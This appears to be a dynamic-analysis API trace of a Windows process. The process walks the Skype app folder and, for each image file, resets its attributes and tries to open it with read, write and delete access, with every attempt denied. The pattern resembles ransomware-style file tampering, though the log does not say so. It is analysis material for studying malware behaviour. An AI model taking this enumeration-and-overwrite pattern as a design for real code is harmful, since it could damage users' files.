	[0091.279] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\"
	[0091.279] wcscat (in: _Dest=0x477e110, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\*"
	[0091.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb020b681, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3a8
	[0091.279] wcscmp (_String1=".", _String2=".") returned 0
	[0091.279] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb020b681, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.279] wcscmp (_String1="..", _String2=".") returned 1
	[0091.279] wcscmp (_String1="..", _String2="..") returned 0
	[0091.279] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ab869, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1725bd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.279] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.279] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d178
	[0091.279] wcscpy (in: _Dest=0x491d178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp"
	[0091.279] wcscat (in: _Dest=0x491d178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\"
	[0091.279] wcscat (in: _Dest=0x491d178, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491ebb8
	[0091.279] wcscpy (in: _Dest=0x491ebb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.280] wcscat (in: _Dest=0x491ebb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.280] wcscat (in: _Dest=0x491ebb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\*"
	[0091.280] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031b18
	[0091.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\*", lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ab869, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1725bd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.281] wcscmp (_String1=".", _String2=".") returned 0
	[0091.281] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ab869, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1725bd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.281] wcscmp (_String1="..", _String2=".") returned 1
	[0091.281] wcscmp (_String1="..", _String2="..") returned 0
	[0091.281] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0b39f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_12x12.scale-100.png", cAlternateFileName="")) returned 1
	[0091.281] wcscmp (_String1="delete_12x12.scale-100.png", _String2=".") returned 1
	[0091.281] wcscmp (_String1="delete_12x12.scale-100.png", _String2="..") returned 1
	[0091.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771ab8
	[0091.281] wcscpy (in: _Dest=0x4771ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.281] wcscat (in: _Dest=0x4771ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.281] wcscat (in: _Dest=0x4771ab8, _Source="delete_12x12.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png"
	[0091.281] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\delete_12x12.scale-100.png")) returned 0x20
	[0091.283] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.284] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\delete_12x12.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.284] GetLastError () returned 0x5
	[0091.284] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771ab8) returned 1
	[0091.284] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_12x12.scale-100.png", cAlternateFileName="")) returned 1
	[0091.284] wcscmp (_String1="edit_12x12.scale-100.png", _String2=".") returned 1
	[0091.284] wcscmp (_String1="edit_12x12.scale-100.png", _String2="..") returned 1
	[0091.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4771ab8
	[0091.284] wcscpy (in: _Dest=0x4771ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.284] wcscat (in: _Dest=0x4771ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.284] wcscat (in: _Dest=0x4771ab8, _Source="edit_12x12.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png"
	[0091.284] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\edit_12x12.scale-100.png")) returned 0x20
	[0091.286] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.286] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\edit_12x12.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.286] GetLastError () returned 0x5
	[0091.286] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771ab8) returned 1
	[0091.286] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b12, dwReserved0=0x0, dwReserved1=0x0, cFileName="friends.scale-100.png", cAlternateFileName="")) returned 1
	[0091.286] wcscmp (_String1="friends.scale-100.png", _String2=".") returned 1
	[0091.286] wcscmp (_String1="friends.scale-100.png", _String2="..") returned 1
	[0091.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2e45250
	[0091.286] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.286] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.287] wcscat (in: _Dest=0x2e45250, _Source="friends.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png"
	[0091.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\friends.scale-100.png")) returned 0x20
	[0091.289] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.290] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\friends.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.290] GetLastError () returned 0x5
	[0091.290] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\friends.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.290] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="highfive.scale-100.png", cAlternateFileName="")) returned 1
	[0091.290] wcscmp (_String1="highfive.scale-100.png", _String2=".") returned 1
	[0091.290] wcscmp (_String1="highfive.scale-100.png", _String2="..") returned 1
	[0091.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2e45250
	[0091.290] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.290] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.290] wcscat (in: _Dest=0x2e45250, _Source="highfive.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png"
	[0091.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\highfive.scale-100.png")) returned 0x20
	[0091.301] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.302] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\highfive.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.302] GetLastError () returned 0x5
	[0091.302] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\highfive.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.302] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ac9ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1
	[0091.302] wcscmp (_String1="Images", _String2=".") returned 1
	[0091.302] wcscmp (_String1="Images", _String2="..") returned 1
	[0091.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491b648
	[0091.302] wcscpy (in: _Dest=0x491b648, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.302] wcscat (in: _Dest=0x491b648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.302] wcscat (in: _Dest=0x491b648, _Source="Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images"
	[0091.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776a60
	[0091.302] wcscpy (in: _Dest=0x4776a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images"
	[0091.302] wcscat (in: _Dest=0x4776a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\"
	[0091.302] wcscat (in: _Dest=0x4776a60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\*"
	[0091.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f230
	[0091.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\*", lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ac9ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3e8
	[0091.302] wcscmp (_String1=".", _String2=".") returned 0
	[0091.302] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb02ac9ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.303] wcscmp (_String1="..", _String2=".") returned 1
	[0091.303] wcscmp (_String1="..", _String2="..") returned 0
	[0091.303] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12d, dwReserved0=0x0, dwReserved1=0x0, cFileName="image_placeholder.scale-100.png", cAlternateFileName="")) returned 1
